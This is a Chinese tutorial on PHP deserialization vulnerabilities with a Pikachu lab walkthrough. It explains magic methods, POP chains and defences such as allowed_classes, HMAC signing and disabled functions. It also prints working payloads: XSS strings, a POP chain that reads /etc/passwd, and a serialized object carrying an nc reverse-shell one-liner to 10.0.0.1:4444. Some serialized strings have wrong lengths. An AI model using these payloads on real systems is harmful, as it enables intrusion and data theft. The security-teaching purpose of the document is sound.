当前位置: 首页 > news >正文

Pikachu靶场-PHP反序列化漏洞

PHP反序列化漏洞详解

1. 漏洞原理

PHP反序列化漏洞源于对不可信数据使用unserialize()函数时,未对输入进行严格校验,导致攻击者构造恶意序列化字符串触发类中的魔术方法(Magic Methods),从而执行任意代码或进行危险操作。

序列化与反序列化

  • 序列化:将对象转换为字符串(serialize()),便于存储或传输。
  • 反序列化:将字符串还原为对象(unserialize())。

关键风险点

  • 若反序列化的数据来源不可控(如用户输入、Cookie、数据库字段),攻击者可注入恶意对象。
  • 魔术方法(如__wakeup()__destruct()__toString())在反序列化过程中自动执行,可能被利用。

 

2. 漏洞利用场景

场景1:通过魔术方法执行代码

class Example {
    private $cmd = "whoami";
   
   
public function __destruct() {
        system($this->cmd); // 析构时执行系统命令
    }
}

// 攻击者构造恶意序列化数据
$data = serialize(new Example());
// 输出:O:7:"Example":1:{s:12:"Examplecmd";s:6:"whoami";}
// 用户提交该数据触发命令执行:
unserialize($_GET['data']);

场景2:利用POP链(Property-Oriented Programming)

  • 原理:通过多个类的属性与方法链式调用,触发危险操作。
  • 示例

class FileHandler {
    public $filename;
    public function __toString() {
        return file_get_contents($this->filename); // 读取文件内容
    }
}

class Logger {
    public $log;
    public function __destruct() {
        echo $this->log; // 触发 __toString()
    }
}

// 攻击者构造链式调用
$obj = new Logger();
$obj->log = new FileHandler();
$obj->log->filename = "/etc/passwd";
$payload = serialize($obj);
// 反序列化时触发文件读取

3. 漏洞危害

  • 远程代码执行(RCE):通过system()eval()等函数执行系统命令。
  • 敏感信息泄露:读取配置文件(如config.php)、数据库凭据。
  • 文件操作:删除、篡改文件(如植入Webshell)。
  • 拒绝服务(DoS):通过无限递归或资源消耗导致服务崩溃。

 

4. 漏洞检测与利用

手动检测

  1. 寻找反序列化入口点
  • 搜索代码中的unserialize()函数。
  • 检查参数来源(如$_GET$_COOKIE、文件内容)。
  1. 构造POP链
  • 分析代码中的类及其魔术方法。
  • 寻找可利用的方法链(如__destruct()__toString()→文件操作)。

工具辅助

  • PHPGGC:自动化生成常见框架(如Laravel、Symfony)的反序列化Payload。
  • PHP-ast:静态分析工具,识别危险魔术方法。
  • Burp Suite:拦截请求修改序列化数据测试漏洞。

5. 防御措施

方案1:避免反序列化不可信数据

使用安全替代方案

  • json_encode()/json_decode()代替serialize()/unserialize()

白名单校验
$allowed_classes = ['SafeClassA', 'SafeClassB'];
$data = unserialize($input, ['allowed_classes' => $allowed_classes]);

方案2:限制魔术方法的风险

避免在魔术方法中执行危险操作

class SafeClass {
    public function __wakeup() {
        // 仅初始化非敏感属性,避免调用外部函数
    }
}

方案3:数据完整性验证

  • 签名验证
    $data = $_GET['data'];
    $signature = hash_hmac('sha256', $data, $secret_key);
    if ($signature === $_GET['sig']) {
        $obj = unserialize($data);
    }

方案4:安全配置

  • 禁用危险函数php.ini):
    disable_functions = system, exec, shell_exec, passthru
  • 更新PHP版本:PHP 7.0+修复了部分反序列化漏洞(如类型混淆)。

6. 实际案例

  • 案例1:Laravel RCE(CVE-2021-3129)
  • 漏洞原因:反序列化时未过滤输入,结合Ignition组件的日志功能触发代码执行。
  • Payload:利用phpggc生成恶意序列化数据,通过unserialize()执行命令。
  • 案例2:WordPress插件漏洞
  • 漏洞原因:用户输入的Cookie未经验证直接反序列化,导致攻击者上传Webshell。

7. 测试代码示例

// Vuln.php(存在漏洞的代码)
class VulnerableClass {
    public $data;
    public function __wakeup() {
        if (isset($this->data)) {
            include($this->data); // 包含任意文件
        }
    }
}

// 攻击者提交Payload:
// O:15:"VulnerableClass":1:{s:4:"data";s:12:"malicious.php";}
$input = $_GET['payload'];
unserialize($input);

8. 总结

  • 风险等级:高危(可直接导致服务器沦陷)。
  • 修复优先级:需立即修复。
  • 防御核心:避免反序列化不可信数据 + 代码层严格控制魔术方法。

PHP序列化与反序列化安全示例整理

1. 什么是序列化(serialize)

序列化是将对象转化为字符串的过程,便于存储或传输。例如:

class S {
    public $test = "pikachu";
}

 

$s = new S();            // 创建一个对象
echo serialize($s);      // 序列化对象

输出结果:

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

解释序列化格式:

标记

含义

O

object(对象)

1

对象名称长度(S,1个字符)

"S"

对象名称

1

属性数量(1个属性)

s

属性名的数据类型(string)

4

属性名长度(test,4个字符)

"test"

属性名

s

属性值的数据类型(string)

7

属性值长度(pikachu,7个字符)

"pikachu"

属性值

 

2. 什么是反序列化(unserialize)

反序列化是将序列化后的字符串还原为对象的过程。例如:

$u = unserialize('O:1:"S":1:{s:4:"test";s:7:"pikachu";}');
echo $u->test;    // 输出 pikachu

 

3. 序列化反序列化存在的风险

如果反序列化的内容可被用户控制,且系统中使用了不安全的PHP魔法方法,容易造成安全漏洞(如代码执行、XSS等)。

常见的魔法方法(容易被利用的):

  • __construct() :对象被创建时自动调用
  • __destruct() :对象销毁时自动调用
  • __toString() :对象被当作字符串时调用
  • __sleep() :对象序列化前调用
  • __wakeup() :对象反序列化后调用

 

4. 漏洞示例

代码示例:

class S {
    var $test = "pikachu";
   
    function __destruct() {
        echo $this->test;
    }
}

$a = $_GET['test'];       // 用户可控
@$unser = unserialize($a); // 反序列化

攻击Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

攻击效果:

当反序列化后对象被销毁时,触发 __destruct() 方法,自动执行:

echo $this->test;

页面直接输出恶意的XSS脚本:

<script>alert('xss')</script>

造成跨站脚本攻击(XSS)。

 

5. 小结

  • 永远不要反序列化用户可控的数据。
  • 如果必须反序列化,考虑使用 unserialize 的第二个参数 allowed_classes 进行限制:

unserialize($data, ["allowed_classes" => ["SafeClass"]]);

  • 优先使用安全的数据传输格式(比如 JSON 而非 PHP 序列化)

 

靶场测试

1,查看靶场功能

PHP反序列化漏洞分析及利用

1. 漏洞位置

$s = $_POST['o'];
$unser = unserialize($s);  // 直接反序列化用户输入

  • 关键问题:未对用户输入的 o 参数做任何过滤,直接传递给 unserialize()
  • 攻击入口:攻击者可构造恶意序列化数据,触发类属性覆盖或魔术方法执行。

2. 目标类分析

class S {
    var $test = "pikachu";
    function __construct() {
        echo $this->test;
    }
}

类特性

  • 类 S 包含一个公共属性 $test
  • 构造函数 __construct() 会输出 $test 的值。

可利用点

  • 反序列化时可通过覆盖 $test 属性注入恶意数据。

无危险魔术方法:未定义 __wakeup()__destruct() 等高风险魔术方法。

 

3. 漏洞利用场景

场景1:XSS攻击(直接属性覆盖)

原理:覆盖 $test 属性为恶意 JavaScript 代码,输出时触发 XSS。

Payload 构造

class S {
    var $test = '<script>alert("XSS")</script>';
}
echo serialize(new S());

序列化结果
O:1:"S":1:{s:4:"test";s:29:"<script>alert("XSS")</script>";}

攻击效果

 

场景2:文件读取(需结合其他类)

  • 假设存在文件操作类(如 FileHandler):

class FileHandler {
    public $filename;
    public function __toString() {
        return file_get_contents($this->filename);
    }
}

class Logger {
    public $log;
    public function __destruct() {
        echo $this->log;
    }
}

  • 构造POP链
    $logger = new Logger();
    $logger->log = new FileHandler();
    $logger->log->filename = "/etc/passwd";
    echo serialize($logger);
  • 序列化结果
    O:6:"Logger":1:{s:3:"log";O:11:"FileHandler":1:{s:8:"filename";s:11:"/etc/passwd";}}
  • 攻击效果:读取系统敏感文件。

 

场景3:远程命令执行(需结合危险类)

假设存在危险类(如 CommandExec):

class CommandExec {
    public $cmd = "id";
    public function __destruct() {
        system($this->cmd);
    }
}

  • Payload 构造
    $obj = new CommandExec();
    $obj->cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f";
    echo serialize($obj);
  • 序列化结果
    O:12:"CommandExec":1:{s:3:"cmd";s:62:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f";}
  • 攻击效果:反弹 Shell 到攻击者服务器。

 

相关文章:

  • 缓存并发更新的挑战
  • FastAPI中使用Pydantic进行数据验证的示例与关键技术点分析
  • failed to start gdm.service - gnome display manager
  • AUTOSAR_RS_ClassicPlatformDebugTraceProfile
  • CUDA Stream 回调函数示例代码
  • Pacman-search
  • 【RabbitMQ】保证消息不丢失
  • PaddleX的安装
  • “八股训练营”学习总结
  • C++STL(九) :bitset的介绍与使用
  • 特征工程四:数据特征提取TfidfVectorizer的使用
  • re题(48)BUUCTF-[网鼎杯 2020 青龙组]singal
  • 对日开发 秀丸文本编辑器 宏的基本使用
  • 计算属性 vs methods方法
  • Java大厂面试突击:从Spring Boot自动配置到Kafka分区策略实战解析
  • SVT-AV1源码分析-函数svt_aom_motion_estimation_kernel
  • linux:进程的替换
  • 深入解读:2025 数字化转型管理 参考架构
  • 【算法】回溯法
  • 杭电oj(1010、1015、1241)题解
  • 《大风杀》上海首映,白客说拍这戏是从影以来的最大挑战
  • 受天气等影响SC8041航班三次备降延误超12小时,山航致歉
  • 俄伏尔加格勒机场正式更名为斯大林格勒机场
  • 零食连锁鸣鸣很忙递表港交所:去年营收393亿元,门店超1.4万家,净利润率2.1%
  • 云南铁路:打造“铁路+金融+产业”融合发展生态
  • “光荣之城”2025上海红色文化季启动,红色主题市集亮相